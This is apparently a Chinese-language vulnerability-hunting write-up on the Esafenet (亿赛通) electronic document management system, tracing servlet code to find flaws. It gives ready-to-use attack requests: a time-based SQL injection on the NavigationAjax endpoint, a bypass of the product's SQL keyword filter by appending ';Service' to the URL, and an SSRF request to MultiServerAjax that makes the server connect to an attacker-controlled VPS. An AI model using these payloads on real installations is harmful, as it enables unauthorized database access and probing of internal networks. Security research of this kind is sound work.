0%

亿赛通电子文档管理信息漏挖

手动

sql注入

在java-web的servlet开发中,WEB - INF 是Java Web 应用的“心脏”区域之一,集中了配置、核心代码、安全策略等关键要素,所以我们打开之后先找WEB-INF

img

进去web.xml搜索url的路径

img

看到这么多的servlet,那肯定是servlet开发的了

这么找servlet中开发对应的类

img

翻找到了

img

跟进去

img

service方法拿到了request,request请求拿到了command参数,如果command参数是‘nav’的话就执行下边的navigationText方法,跟进这个方法看看

img

这里是接收request请求里边的这几个参数

跟进这个处理id参数的方法

因为接收id那些参数接受的也是string类型的,因为java是强类型语言,所以拿到是string之后加上我们构造的语句才能说可以进行sql注入

img

img

这里满足了直接拼接

https://ip:port/NavigationAjax?command=nav&id=1‘ or sleep#&name=a&openId=1

这样就可以成功注入了嘛?

在filter过滤器里边/*是覆盖了所有请求

img

这里的SQLFilter

img

接收到的参数geturl拿内容,如果里边有这些参数就不进行下去了直接放行,不包含那几个就继续进行下去,包含那几个就放行

img

我们接着来看一下如果不包含的话,里边是怎么实现过滤sql那些的

img

这里实现了hashkeywords方法

前面是在遍历取参啥的

后边看一下这个方法的实现

img

这里是调用了前边web.xml里的关键词来做匹配,匹配过了就退出

img

那么过滤方法就很简单了,给到请求这样就可以绕过,以为前边鉴权几乎给了很好的绕过方法

https://ip:port/NavigationAjax;Service

post

command=nav&id=1’ or sleep(4)#&name=a&openId=1

SSRF

在MultiServerAjax

的xml文件里边

img

这个跟进去类分析

img

一路跟進去就發現有進行ssrf請求了

img

https://ip:port/MultiServerAjax?command=connect&servername=1&serverDesc=1&serverIp=127.0.0.1&serverport=3306&mainIp=vps&mainPort=3306&serverLevel=3

img

因爲mainIp是它的vps